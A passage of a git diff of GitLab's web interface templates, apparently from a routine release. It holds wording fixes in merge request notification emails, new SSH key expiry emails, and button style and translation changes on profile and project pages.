-Merge Request URL: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
+Merge request URL: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
= merge_path_description(@merge_request, 'to')
diff --git a/app/views/notify/merge_request_status_email.html.haml b/app/views/notify/merge_request_status_email.html.haml
index a15c5a752d4..49f2366c594 100644
--- a/app/views/notify/merge_request_status_email.html.haml
+++ b/app/views/notify/merge_request_status_email.html.haml
@@ -1,3 +1,3 @@
%p
- Merge Request #{merge_request_reference_link(@merge_request)}
+ Merge request #{merge_request_reference_link(@merge_request)}
was #{@mr_status} by #{sanitize_name(@updated_by.name)}
diff --git a/app/views/notify/merge_request_status_email.text.haml b/app/views/notify/merge_request_status_email.text.haml
index ab663b65199..1a8f848218c 100644
--- a/app/views/notify/merge_request_status_email.text.haml
+++ b/app/views/notify/merge_request_status_email.text.haml
@@ -1,6 +1,6 @@
-Merge Request #{@merge_request.to_reference} was #{@mr_status} by #{sanitize_name(@updated_by.name)}
+Merge request #{@merge_request.to_reference} was #{@mr_status} by #{sanitize_name(@updated_by.name)}
-Merge Request URL: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
+Merge request URL: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
= merge_path_description(@merge_request, 'to')
diff --git a/app/views/notify/merge_request_unmergeable_email.html.haml b/app/views/notify/merge_request_unmergeable_email.html.haml
index ee459a26551..fddf9eaf95a 100644
--- a/app/views/notify/merge_request_unmergeable_email.html.haml
+++ b/app/views/notify/merge_request_unmergeable_email.html.haml
@@ -1,2 +1,2 @@
%p
- Merge Request #{merge_request_reference_link(@merge_request)} can no longer be merged due to conflict.
+ Merge request #{merge_request_reference_link(@merge_request)} can no longer be merged due to conflict.
diff --git a/app/views/notify/merge_request_unmergeable_email.text.haml b/app/views/notify/merge_request_unmergeable_email.text.haml
index a23d083747c..3db5f21e6c2 100644
--- a/app/views/notify/merge_request_unmergeable_email.text.haml
+++ b/app/views/notify/merge_request_unmergeable_email.text.haml
@@ -1,6 +1,6 @@
-Merge Request #{@merge_request.to_reference} can no longer be merged due to conflict.
+Merge request #{@merge_request.to_reference} can no longer be merged due to conflict.
-Merge Request URL: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
+Merge request URL: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
= merge_path_description(@merge_request, 'to')
diff --git a/app/views/notify/merge_when_pipeline_succeeds_email.text.haml b/app/views/notify/merge_when_pipeline_succeeds_email.text.haml
index de29dda6c71..568ca995e04 100644
--- a/app/views/notify/merge_when_pipeline_succeeds_email.text.haml
+++ b/app/views/notify/merge_when_pipeline_succeeds_email.text.haml
@@ -1,6 +1,6 @@
-Merge Request #{@merge_request.to_reference} was scheduled to merge after pipeline succeeds by #{sanitize_name(@mwps_set_by.name)}
+Merge request #{@merge_request.to_reference} was scheduled to merge after pipeline succeeds by #{sanitize_name(@mwps_set_by.name)}
-Merge Request url: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
+Merge request url: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
= merge_path_description(@merge_request, 'to')
diff --git a/app/views/notify/merged_merge_request_email.html.haml b/app/views/notify/merged_merge_request_email.html.haml
index c84c0d1d14b..f0dadd9ce91 100644
--- a/app/views/notify/merged_merge_request_email.html.haml
+++ b/app/views/notify/merged_merge_request_email.html.haml
@@ -1,2 +1,2 @@
%p
- Merge Request #{merge_request_reference_link(@merge_request)} was merged
+ Merge request #{merge_request_reference_link(@merge_request)} was merged
diff --git a/app/views/notify/merged_merge_request_email.text.haml b/app/views/notify/merged_merge_request_email.text.haml
index a8e07fa8d1c..91f920dec21 100644
--- a/app/views/notify/merged_merge_request_email.text.haml
+++ b/app/views/notify/merged_merge_request_email.text.haml
@@ -1,6 +1,6 @@
-Merge Request #{@merge_request.to_reference} was merged
+Merge request #{@merge_request.to_reference} was merged
-Merge Request URL: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
+Merge request URL: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
= merge_path_description(@merge_request, 'to')
diff --git a/app/views/notify/new_mention_in_merge_request_email.html.haml b/app/views/notify/new_mention_in_merge_request_email.html.haml
index ddcf287e501..a28d944529f 100644
--- a/app/views/notify/new_mention_in_merge_request_email.html.haml
+++ b/app/views/notify/new_mention_in_merge_request_email.html.haml
@@ -1,4 +1,4 @@
%p
- You have been mentioned in Merge Request #{merge_request_reference_link(@merge_request)}
+ You have been mentioned in merge request #{merge_request_reference_link(@merge_request)}
= render template: 'notify/new_merge_request_email'
diff --git a/app/views/notify/new_mention_in_merge_request_email.text.erb b/app/views/notify/new_mention_in_merge_request_email.text.erb
index 0121006852c..9ba86f17ef6 100644
--- a/app/views/notify/new_mention_in_merge_request_email.text.erb
+++ b/app/views/notify/new_mention_in_merge_request_email.text.erb
@@ -1,4 +1,4 @@
-You have been mentioned in Merge Request <%= @merge_request.to_reference %>
+You have been mentioned in merge request <%= @merge_request.to_reference %>
<%= url_for(project_merge_request_url(@merge_request.target_project, @merge_request)) %>
diff --git a/app/views/notify/new_review_email.html.haml b/app/views/notify/new_review_email.html.haml
index ad870473681..11da7723d8d 100644
--- a/app/views/notify/new_review_email.html.haml
+++ b/app/views/notify/new_review_email.html.haml
@@ -1,4 +1,4 @@
-%table{ border: "0", cellpadding:"0", cellspacing: "0", style: "width:100%;margin:0 auto;border-collapse:separate;border-spacing:0;" }
+%table{ border: "0", cellpadding: "0", cellspacing: "0", style: "width:100%;margin:0 auto;border-collapse:separate;border-spacing:0;" }
%tbody
%tr
%td{ style: "font-family:'Helvetica Neue',Helvetica,Arial,sans-serif;background-color:#ffffff;text-align:left;overflow:hidden;" }
diff --git a/app/views/notify/pipeline_failed_email.text.erb b/app/views/notify/pipeline_failed_email.text.erb
index 2deca375db1..1fe7d554bc3 100644
--- a/app/views/notify/pipeline_failed_email.text.erb
+++ b/app/views/notify/pipeline_failed_email.text.erb
@@ -3,7 +3,7 @@ Pipeline #<%= @pipeline.id %> has failed!
Project: <%= @project.name %> ( <%= project_url(@project) %> )
Branch: <%= @pipeline.source_ref %> ( <%= commits_url(@pipeline) %> )
<% if @merge_request -%>
-Merge Request: <%= @merge_request.to_reference %> ( <%= merge_request_url(@merge_request) %> )
+Merge request: <%= @merge_request.to_reference %> ( <%= merge_request_url(@merge_request) %> )
<% end -%>
Commit: <%= @pipeline.short_sha %> ( <%= commit_url(@pipeline) %> )
diff --git a/app/views/notify/push_to_merge_request_email.text.haml b/app/views/notify/push_to_merge_request_email.text.haml
index 5c2005a47e5..8ab9cb0fb8d 100644
--- a/app/views/notify/push_to_merge_request_email.text.haml
+++ b/app/views/notify/push_to_merge_request_email.text.haml
@@ -1,6 +1,6 @@
#{sanitize_name(@updated_by_user.name)} pushed new commits to merge request #{@merge_request.to_reference}
-Merge Request URL: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
+Merge request URL: #{project_merge_request_url(@merge_request.target_project, @merge_request)}
\
- if @existing_commits.any?
- count = @existing_commits.size
diff --git a/app/views/notify/reassigned_merge_request_email.text.erb b/app/views/notify/reassigned_merge_request_email.text.erb
index 2b51f48db3a..888b995b67c 100644
--- a/app/views/notify/reassigned_merge_request_email.text.erb
+++ b/app/views/notify/reassigned_merge_request_email.text.erb
@@ -1,4 +1,4 @@
-Reassigned Merge Request <%= @merge_request.iid %>
+Reassigned merge request <%= @merge_request.iid %>
<%= url_for([@merge_request.project, @merge_request, { only_path: false }]) %>
diff --git a/app/views/notify/resolved_all_discussions_email.html.haml b/app/views/notify/resolved_all_discussions_email.html.haml
index 0b3c56c9bd1..209415e0aee 100644
--- a/app/views/notify/resolved_all_discussions_email.html.haml
+++ b/app/views/notify/resolved_all_discussions_email.html.haml
@@ -1,3 +1,3 @@
%p
- All discussions on Merge Request #{merge_request_reference_link(@merge_request)}
+ All discussions on merge request #{merge_request_reference_link(@merge_request)}
were resolved by #{sanitize_name(@resolved_by.name)}
diff --git a/app/views/notify/resolved_all_discussions_email.text.erb b/app/views/notify/resolved_all_discussions_email.text.erb
index c4b36bfe1a8..226ea3fb445 100644
--- a/app/views/notify/resolved_all_discussions_email.text.erb
+++ b/app/views/notify/resolved_all_discussions_email.text.erb
@@ -1,3 +1,3 @@
-All discussions on Merge Request <%= @merge_request.to_reference %> were resolved by <%= sanitize_name(@resolved_by.name) %>
+All discussions on merge request <%= @merge_request.to_reference %> were resolved by <%= sanitize_name(@resolved_by.name) %>
<%= url_for(project_merge_request_url(@merge_request.target_project, @merge_request)) %>
diff --git a/app/views/notify/ssh_key_expired_email.html.haml b/app/views/notify/ssh_key_expired_email.html.haml
new file mode 100644
index 00000000000..21138bb0113
--- /dev/null
+++ b/app/views/notify/ssh_key_expired_email.html.haml
@@ -0,0 +1,13 @@
+%p
+ = _('Hi %{username}!') % { username: sanitize_name(@user.name) }
+%p
+ = _('Your SSH keys with the following fingerprints has expired:')
+%table
+ %tbody
+ - @fingerprints.each do |fingerprint|
+ %tr
+ %td= fingerprint
+
+%p
+ - ssh_key_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: @target_url }
+ = html_escape(_('You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings.')) % { ssh_key_link_start: ssh_key_link_start, ssh_key_link_end: '</a>'.html_safe }
diff --git a/app/views/notify/ssh_key_expired_email.text.erb b/app/views/notify/ssh_key_expired_email.text.erb
new file mode 100644
index 00000000000..77b76084606
--- /dev/null
+++ b/app/views/notify/ssh_key_expired_email.text.erb
@@ -0,0 +1,9 @@
+<%= _('Hi %{username}!') % { username: sanitize_name(@user.name) } %>
+
+<%= _('Your SSH keys with the following fingerprints has expired:') %>
+
+<% @fingerprints.each do |fingerprint| %>
+ - <%= fingerprint %>
+<% end %>
+
+<%= _('You can create a new one or check them in your SSH keys settings %{ssh_key_link}.') % { ssh_key_link: @target_url } %>
diff --git a/app/views/notify/ssh_key_expiring_soon.text.erb b/app/views/notify/ssh_key_expiring_soon.text.erb
new file mode 100644
index 00000000000..2a7c0cafe83
--- /dev/null
+++ b/app/views/notify/ssh_key_expiring_soon.text.erb
@@ -0,0 +1,9 @@
+<%= _('Hi %{username}!') % { username: sanitize_name(@user.name) } %>
+
+<%= _('Your SSH keys with the following fingerprints are scheduled to expire soon:') %>
+
+<% @fingerprints.each do |fingerprint| %>
+ - <%= fingerprint %>
+<% end %>
+
+<%= _('You can create a new one or check them in your SSH keys settings %{ssh_key_link}.') % { ssh_key_link: @target_url } %>
diff --git a/app/views/notify/ssh_key_expiring_soon_email.html.haml b/app/views/notify/ssh_key_expiring_soon_email.html.haml
new file mode 100644
index 00000000000..f4aee9c5fde
--- /dev/null
+++ b/app/views/notify/ssh_key_expiring_soon_email.html.haml
@@ -0,0 +1,13 @@
+%p
+ = _('Hi %{username}!') % { username: sanitize_name(@user.name) }
+%p
+ = _('Your SSH keys with the following fingerprints are scheduled to expire soon:')
+%table
+ %tbody
+ - @fingerprints.each do |fingerprint|
+ %tr
+ %td= fingerprint
+
+%p
+ - ssh_key_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: @target_url }
+ = html_escape(_('You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings.')) % { ssh_key_link_start: ssh_key_link_start, ssh_key_link_end: '</a>'.html_safe }
diff --git a/app/views/notify/unknown_sign_in_email.html.haml b/app/views/notify/unknown_sign_in_email.html.haml
index 914242da5c6..8d0993e9ff8 100644
--- a/app/views/notify/unknown_sign_in_email.html.haml
+++ b/app/views/notify/unknown_sign_in_email.html.haml
@@ -44,9 +44,11 @@
%td{ style: "#{default_style}text-align:center;" }
- password_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: 'https://docs.gitlab.com/ee/user/profile/#changing-your-password' }
= _('If you recently signed in and recognize the IP address, you may disregard this email.')
- %p
- = _('If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}.').html_safe % { password_link_start: password_link_start, password_link_end: '</a>'.html_safe }
- = _('Passwords should be unique and not used for any other sites or services.')
+
+ - if password_authentication_enabled_for_web?
+ %p
+ = _('If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}.').html_safe % { password_link_start: password_link_start, password_link_end: '</a>'.html_safe }
+ = _('Passwords should be unique and not used for any other sites or services.')
- unless @user.two_factor_enabled?
%p
diff --git a/app/views/profiles/accounts/show.html.haml b/app/views/profiles/accounts/show.html.haml
index 1f09f3097ad..c4de47f276c 100644
--- a/app/views/profiles/accounts/show.html.haml
+++ b/app/views/profiles/accounts/show.html.haml
@@ -28,7 +28,7 @@
= link_to _('Manage two-factor authentication'), profile_two_factor_auth_path, class: 'gl-button btn btn-confirm'
- else
.gl-mb-3
- = link_to _('Enable two-factor authentication'), profile_two_factor_auth_path, class: 'gl-button btn btn-success', data: { qa_selector: 'enable_2fa_button' }
+ = link_to _('Enable two-factor authentication'), profile_two_factor_auth_path, class: 'gl-button btn btn-confirm', data: { qa_selector: 'enable_2fa_button' }
.col-lg-12
%hr
@@ -69,7 +69,7 @@
= render 'users/deletion_guidance', user: current_user
-# Delete button here
- %button#delete-account-button.btn.btn-danger.disabled{ data: { qa_selector: 'delete_account_button' } }
+ %button#delete-account-button.gl-button.btn.btn-danger.disabled{ data: { qa_selector: 'delete_account_button' } }
= s_('Profiles|Delete account')
#delete-account-modal{ data: { action_url: user_registration_path,
diff --git a/app/views/profiles/chat_names/_chat_name.html.haml b/app/views/profiles/chat_names/_chat_name.html.haml
index 6805824cebc..ca895972b71 100644
--- a/app/views/profiles/chat_names/_chat_name.html.haml
+++ b/app/views/profiles/chat_names/_chat_name.html.haml
@@ -6,7 +6,7 @@
- if can?(current_user, :read_project, project)
= link_to project.full_name, project_path(project)
- else
- .light N/A
+ .light= _('N/A')
%td
%strong
- if can?(current_user, :admin_project, project)
diff --git a/app/views/profiles/chat_names/new.html.haml b/app/views/profiles/chat_names/new.html.haml
index 4651854a551..f008abf376d 100644
--- a/app/views/profiles/chat_names/new.html.haml
+++ b/app/views/profiles/chat_names/new.html.haml
@@ -8,7 +8,7 @@
.actions
= form_tag profile_chat_names_path, method: :post do
= hidden_field_tag :token, @chat_name_token.token
- = submit_tag _("Authorize"), class: "gl-button btn btn-success wide float-left"
+ = submit_tag _("Authorize"), class: "gl-button btn btn-confirm wide float-left"
= form_tag deny_profile_chat_names_path, method: :delete do
= hidden_field_tag :token, @chat_name_token.token
= submit_tag _("Deny"), class: "gl-button btn btn-danger gl-ml-3"
diff --git a/app/views/profiles/emails/index.html.haml b/app/views/profiles/emails/index.html.haml
index 89198b0a65b..d78b542ae8a 100644
--- a/app/views/profiles/emails/index.html.haml
+++ b/app/views/profiles/emails/index.html.haml
@@ -15,7 +15,7 @@
= f.label :email, _('Email'), class: 'label-bold'
= f.text_field :email, class: 'form-control gl-form-input', data: { qa_selector: 'email_address_field' }
.gl-mt-3
- = f.submit _('Add email address'), class: 'gl-button btn btn-success', data: { qa_selector: 'add_email_address_button' }
+ = f.submit _('Add email address'), class: 'gl-button btn btn-confirm', data: { qa_selector: 'add_email_address_button' }
%hr
%h4.gl-mt-0
= _('Linked emails (%{email_count})') % { email_count: @emails.load.size + 1 }
diff --git a/app/views/profiles/gpg_keys/_form.html.haml b/app/views/profiles/gpg_keys/_form.html.haml
index 7a7b5802cd8..9804a3b7735 100644
--- a/app/views/profiles/gpg_keys/_form.html.haml
+++ b/app/views/profiles/gpg_keys/_form.html.haml
@@ -4,7 +4,7 @@
.form-group
= f.label :key, s_('Profiles|Key'), class: 'label-bold'
- = f.text_area :key, class: "form-control", rows: 8, required: true, placeholder: _("Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'.")
+ = f.text_area :key, class: "form-control gl-form-input", rows: 8, required: true, placeholder: _("Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'.")
.gl-mt-3
- = f.submit s_('Profiles|Add key'), class: "gl-button btn btn-success"
+ = f.submit s_('Profiles|Add key'), class: "gl-button btn btn-confirm"
diff --git a/app/views/profiles/gpg_keys/_key.html.haml b/app/views/profiles/gpg_keys/_key.html.haml
index c851601d4c3..ec48a611377 100644
--- a/app/views/profiles/gpg_keys/_key.html.haml
+++ b/app/views/profiles/gpg_keys/_key.html.haml
@@ -18,8 +18,8 @@
%code= subkey.fingerprint
.float-right
%span.key-created-at
- = s_('Profiles|Created %{time_ago}'.html_safe) % { time_ago:time_ago_with_tooltip(key.created_at)}
- = link_to profile_gpg_key_path(key), data: { confirm: _('Are you sure? Removing this GPG key does not affect already signed commits.') }, method: :delete, class: "gl-button btn btn-danger gl-ml-3" do
+ = s_('Profiles|Created %{time_ago}'.html_safe) % { time_ago: time_ago_with_tooltip(key.created_at) }
+ = link_to profile_gpg_key_path(key), data: { confirm: _('Are you sure? Removing this GPG key does not affect already signed commits.') }, method: :delete, class: "gl-button btn btn-icon btn-danger gl-ml-3" do
%span.sr-only= _('Remove')
= sprite_icon('remove')
= link_to revoke_profile_gpg_key_path(key), data: { confirm: _('Are you sure? All commits that were signed with this GPG key will be unverified.') }, method: :put, class: "gl-button btn btn-danger gl-ml-3" do
diff --git a/app/views/profiles/gpg_keys/index.html.haml b/app/views/profiles/gpg_keys/index.html.haml
index 053cb3547ba..bf9c77cb3ec 100644
--- a/app/views/profiles/gpg_keys/index.html.haml
+++ b/app/views/profiles/gpg_keys/index.html.haml
@@ -12,10 +12,10 @@
= _('Add a GPG key')
%p.profile-settings-content
- help_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('user/project/repository/gpg_signed_commits/index.md') }
- = _('Before you can add a GPG key you need to %{help_link_start}Generate it.%{help_link_end}'.html_safe) % {help_link_start: help_link_start, help_link_end:'</a>'.html_safe }
+ = _('Before you can add a GPG key you need to %{help_link_start}Generate it.%{help_link_end}'.html_safe) % {help_link_start: help_link_start, help_link_end: '</a>'.html_safe }
= render 'form'
%hr
%h5
- = _('Your GPG keys (%{count})') % { count:@gpg_keys.count}
+ = _('Your GPG keys (%{count})') % { count: @gpg_keys.count }
.gl-mb-3
= render 'key_table'
diff --git a/app/views/profiles/keys/_form.html.haml b/app/views/profiles/keys/_form.html.haml
index 81a543de7a3..35335f3ef80 100644
--- a/app/views/profiles/keys/_form.html.haml
+++ b/app/views/profiles/keys/_form.html.haml
@@ -15,13 +15,14 @@
.col.form-group
= f.label :expires_at, s_('Profiles|Expires at'), class: 'label-bold'
= f.date_field :expires_at, class: "form-control input-lg", min: Date.tomorrow, data: { qa_selector: 'key_expiry_date_field' }
+ %p.form-text.text-muted{ data: { qa_selector: 'key_expiry_date_field_description' } }= ssh_key_expires_field_description
.js-add-ssh-key-validation-warning.hide
.bs-callout.bs-callout-warning{ role: 'alert', aria_live: 'assertive' }
%strong= _('Oops, are you sure?')
- %p= s_("Profiles|This doesn't look like a public SSH key, are you sure you want to add it? It will be publicly visible.")
+ %p= s_("Profiles|Publicly visible private SSH keys can compromise your system.")
- %button.btn.gl-button.btn-success.js-add-ssh-key-validation-confirm-submit= _("Yes, add it")
+ %button.btn.gl-button.btn-confirm.js-add-ssh-key-validation-confirm-submit= _("Yes, add it")
.gl-mt-3
- = f.submit s_('Profiles|Add key'), class: "gl-button btn btn-success js-add-ssh-key-validation-original-submit qa-add-key-button"
+ = f.submit s_('Profiles|Add key'), class: "gl-button btn btn-confirm js-add-ssh-key-validation-original-submit qa-add-key-button"
diff --git a/app/views/profiles/keys/_key.html.haml b/app/views/profiles/keys/_key.html.haml
index cc2e2a30052..4eb321050ad 100644
--- a/app/views/profiles/keys/_key.html.haml
+++ b/app/views/profiles/keys/_key.html.haml
@@ -1,3 +1,5 @@
+- icon_classes = 'settings-list-icon gl-display-none gl-sm-display-block'
+
%li.key-list-item
.gl-display-flex.gl-align-items-flex-start
.key-list-item-info.gl-w-full.float-none
@@ -5,15 +7,11 @@
= key.title
.gl-display-flex.gl-align-items-center.gl-mt-2
- - if key.valid?
- - if key.expired?
- %span.gl-display-inline-block.has-tooltip{ title: s_('Profiles|Your key has expired') }
- = sprite_icon('warning-solid', css_class: 'settings-list-icon gl-display-none gl-sm-display-block')
- - else
- = sprite_icon('key', css_class: 'settings-list-icon gl-display-none gl-sm-display-block')
+ - if key.valid? && !key.expired?
+ = sprite_icon('key', css_class: icon_classes)
- else
- %span.gl-display-inline-block.has-tooltip{ title: key.errors.full_messages.join(', ') }
- = sprite_icon('warning-solid', css_class: 'settings-list-icon gl-display-none gl-sm-display-block')
+ %span.gl-display-inline-block.has-tooltip{ title: ssh_key_expiration_tooltip(key) }
+ = sprite_icon('warning-solid', css_class: icon_classes)
%span.gl-text-truncate.gl-sm-ml-3
= key.fingerprint
@@ -25,7 +23,7 @@
= s_('Profiles|Last used:')
= key.last_used_at ? time_ago_with_tooltip(key.last_used_at) : _('Never')
%span.expires.gl-mr-3
- = s_('Profiles|Expires:')
+ = key.expired? ? s_('Profiles|Expired:') : s_('Profiles|Expires:')
= key.expires_at ? key.expires_at.to_date : _('Never')
%span.key-created-at.gl-display-flex.gl-align-items-center
- if key.can_delete?
diff --git a/app/views/profiles/keys/index.html.haml b/app/views/profiles/keys/index.html.haml
index 80027cdfed0..69b8d2ddafe 100644
--- a/app/views/profiles/keys/index.html.haml
+++ b/app/views/profiles/keys/index.html.haml
@@ -19,6 +19,6 @@
= render 'form'
%hr
%h5
- = _('Your SSH keys (%{count})') % { count:@keys.count }
+ = _('Your SSH keys (%{count})') % { count: @keys.count }
.gl-mb-3
= render 'key_table'
diff --git a/app/views/profiles/passwords/edit.html.haml b/app/views/profiles/passwords/edit.html.haml
index b281dbb4367..2cc919fc70e 100644
--- a/app/views/profiles/passwords/edit.html.haml
+++ b/app/views/profiles/passwords/edit.html.haml
@@ -30,6 +30,6 @@
= f.label :password_confirmation, _('Password confirmation'), class: 'label-bold'
= f.password_field :password_confirmation, required: true, class: 'form-control gl-form-input', data: { qa_selector: 'confirm_password_field' }
.gl-mt-3.gl-mb-3
- = f.submit _('Save password'), class: "gl-button btn btn-success gl-mr-3", data: { qa_selector: 'save_password_button' }
+ = f.submit _('Save password'), class: "gl-button btn btn-confirm gl-mr-3", data: { qa_selector: 'save_password_button' }
- unless @user.password_automatically_set?
= link_to _('I forgot my password'), reset_profile_password_path, method: :put
diff --git a/app/views/profiles/passwords/new.html.haml b/app/views/profiles/passwords/new.html.haml
index ffec6baa20e..efcd0bb621f 100644
--- a/app/views/profiles/passwords/new.html.haml
+++ b/app/views/profiles/passwords/new.html.haml
@@ -28,4 +28,4 @@
.col-sm-10
= f.password_field :password_confirmation, required: true, class: 'form-control gl-form-input'
.form-actions
- = f.submit _('Set new password'), class: 'gl-button btn btn-success'
+ = f.submit _('Set new password'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/profiles/show.html.haml b/app/views/profiles/show.html.haml
index 7995231c739..15544fb9c45 100644
--- a/app/views/profiles/show.html.haml
+++ b/app/views/profiles/show.html.haml
@@ -33,7 +33,7 @@
%h5.gl-mt-0= s_("Profiles|Upload new avatar")
.gl-mt-2.gl-mb-3
%button.gl-button.btn.js-choose-user-avatar-button{ type: 'button' }= s_("Profiles|Choose file...")
- %span.avatar-file-name.gl-ml-3.js-avatar-filename= s_("Profiles|No file chosen")
+ %span.avatar-file-name.gl-ml-3.js-avatar-filename= s_("Profiles|No file chosen.")
= f.file_field_without_bootstrap :avatar, class: 'js-user-avatar-input hidden', accept: 'image/*'
.form-text.text-muted= s_("Profiles|The maximum file size allowed is 200KB.")
- if @user.avatar?
@@ -84,7 +84,7 @@
.col-lg-8
-# TODO: might need an entry in user/profile.md to describe some of these settings
-# https://gitlab.com/gitlab-org/gitlab-foss/issues/60070
- %h5= ("Time zone")
+ %h5= _("Time zone")
= dropdown_tag(_("Select a timezone"), options: { toggle_class: 'gl-button btn js-timezone-dropdown input-lg', title: _("Select a timezone"), filter: true, placeholder: s_("OfSearchInADropdown|Filter"), data: { data: timezone_data } } )
%input.hidden{ :type => 'hidden', :id => 'user_timezone', :name => 'user[timezone]', value: @user.timezone }
.col-lg-12
@@ -127,7 +127,7 @@
= s_("Profiles|Choose to show contributions of private projects on your public profile without any project, repository or organization information")
.row.gl-mt-3.gl-mb-3.gl-justify-content-end
.col-lg-8
- = f.submit s_("Profiles|Update profile settings"), class: 'gl-button btn btn-success'
+ = f.submit s_("Profiles|Update profile settings"), class: 'gl-button btn btn-confirm'
= link_to _("Cancel"), user_path(current_user), class: 'gl-button btn btn-cancel'
.modal.modal-profile-crop{ data: { cropper_css_path: ActionController::Base.helpers.stylesheet_path('lazy_bundles/cropper.css') } }
diff --git a/app/views/profiles/two_factor_auths/show.html.haml b/app/views/profiles/two_factor_auths/show.html.haml
index 3853f428447..a9134057777 100644
--- a/app/views/profiles/two_factor_auths/show.html.haml
+++ b/app/views/profiles/two_factor_auths/show.html.haml
@@ -51,7 +51,7 @@
= label_tag :pin_code, _('Pin code'), class: "label-bold"
= text_field_tag :pin_code, nil, class: "form-control", required: true, data: { qa_selector: 'pin_code_field' }
.gl-mt-3
- = submit_tag _('Register with two-factor app'), class: 'gl-button btn btn-success', data: { qa_selector: 'register_2fa_app_button' }
+ = submit_tag _('Register with two-factor app'), class: 'gl-button btn btn-confirm', data: { qa_selector: 'register_2fa_app_button' }
%hr
diff --git a/app/views/projects/_commit_button.html.haml b/app/views/projects/_commit_button.html.haml
index 87c0933747d..4b41231ba20 100644
--- a/app/views/projects/_commit_button.html.haml
+++ b/app/views/projects/_commit_button.html.haml
@@ -1,5 +1,5 @@
.form-actions
- = button_tag 'Commit changes', id: 'commit-changes', class: 'gl-button btn btn-success js-commit-button qa-commit-button'
+ = button_tag 'Commit changes', id: 'commit-changes', class: 'gl-button btn btn-confirm js-commit-button qa-commit-button'
= link_to 'Cancel', cancel_path,
class: 'gl-button btn btn-default btn-cancel', data: {confirm: leave_edit_message}
diff --git a/app/views/projects/_customize_workflow.html.haml b/app/views/projects/_customize_workflow.html.haml
index 8e4e5ca93e0..ded43a34b48 100644
--- a/app/views/projects/_customize_workflow.html.haml
+++ b/app/views/projects/_customize_workflow.html.haml
@@ -5,4 +5,4 @@
%p
Get started with GitLab by enabling features that work best for your project. From issues and wikis, to merge requests and pipelines, GitLab can help manage your workflow from idea to production!
- if can?(current_user, :admin_project, @project)
- = link_to "Get started", edit_project_path(@project), class: "gl-button btn btn-success"
+ = link_to "Get started", edit_project_path(@project), class: "gl-button btn btn-confirm"
diff --git a/app/views/projects/_files.html.haml b/app/views/projects/_files.html.haml
index 30d885964b5..0369ee50c40 100644
--- a/app/views/projects/_files.html.haml
+++ b/app/views/projects/_files.html.haml
@@ -21,5 +21,4 @@
#js-tree-list{ data: vue_file_list_data(project, ref) }
- if can_edit_tree?
- = render 'projects/blob/upload', title: _('Upload New File'), placeholder: _('Upload New File'), button_title: _('Upload file'), form_path: project_create_blob_path(@project, @id), method: :post
= render 'projects/blob/new_dir'
diff --git a/app/views/projects/_fork_suggestion.html.haml b/app/views/projects/_fork_suggestion.html.haml
index 59c9c279a39..9888ce417f8 100644
--- a/app/views/projects/_fork_suggestion.html.haml
+++ b/app/views/projects/_fork_suggestion.html.haml
@@ -5,6 +5,6 @@
edit
files in this project directly. Please fork this project,
make your changes there, and submit a merge request.
- = link_to 'Fork', nil, method: :post, class: 'js-fork-suggestion-button gl-button btn btn-grouped btn-inverted btn-success'
+ = link_to 'Fork', nil, method: :post, class: 'js-fork-suggestion-button gl-button btn btn-grouped btn-confirm-secondary'
%button.js-cancel-fork-suggestion-button.gl-button.btn.btn-grouped{ type: 'button' }
Cancel
diff --git a/app/views/projects/_home_panel.html.haml b/app/views/projects/_home_panel.html.haml
index f5eea9aa9c6..b2380a3ba57 100644
--- a/app/views/projects/_home_panel.html.haml
+++ b/app/views/projects/_home_panel.html.haml
@@ -6,19 +6,20 @@
.project-home-panel.js-show-on-project-root.gl-my-5{ class: [("empty-project" if empty_repo)] }
.gl-display-flex.gl-justify-content-space-between.gl-flex-wrap.gl-sm-flex-direction-column.gl-mb-3
.home-panel-title-row.gl-display-flex
- .avatar-container.rect-avatar.s64.home-panel-avatar.gl-flex-shrink-0.gl-w-11.gl-h-11.gl-mr-3.float-none
+ %div{ class: 'avatar-container rect-avatar s64 home-panel-avatar gl-flex-shrink-0 gl-w-11 gl-h-11 gl-mr-3! float-none' }
= project_icon(@project, alt: @project.name, class: 'avatar avatar-tile s64', width: 64, height: 64, itemprop: 'image')
.d-flex.flex-column.flex-wrap.align-items-baseline
.d-inline-flex.align-items-baseline
- %h1.home-panel-title.gl-mt-3.gl-mb-2.gl-font-size-h1.gl-line-height-24.gl-font-weight-bold{ data: { qa_selector: 'project_name_content' }, itemprop: 'name' }
+ %h1.home-panel-title.gl-mt-3.gl-mb-2.gl-font-size-h1.gl-line-height-24.gl-font-weight-bold.gl-ml-3{ data: { qa_selector: 'project_name_content' }, itemprop: 'name' }
= @project.name
%span.visibility-icon.text-secondary.gl-ml-2.has-tooltip{ data: { container: 'body' }, title: visibility_icon_description(@project) }
= visibility_level_icon(@project.visibility_level, options: { class: 'icon' })
= render_if_exists 'compliance_management/compliance_framework/compliance_framework_badge', project: @project
.home-panel-metadata.d-flex.flex-wrap.text-secondary.gl-font-base.gl-font-weight-normal.gl-line-height-normal
- if can?(current_user, :read_project, @project)
- %span.text-secondary{ itemprop: 'identifier', data: { qa_selector: 'project_id_content' } }
- = s_('ProjectPage|Project ID: %{project_id}') % { project_id: @project.id }
+ - button_class = "btn gl-button btn-sm btn-tertiary btn-default-tertiary home-panel-metadata"
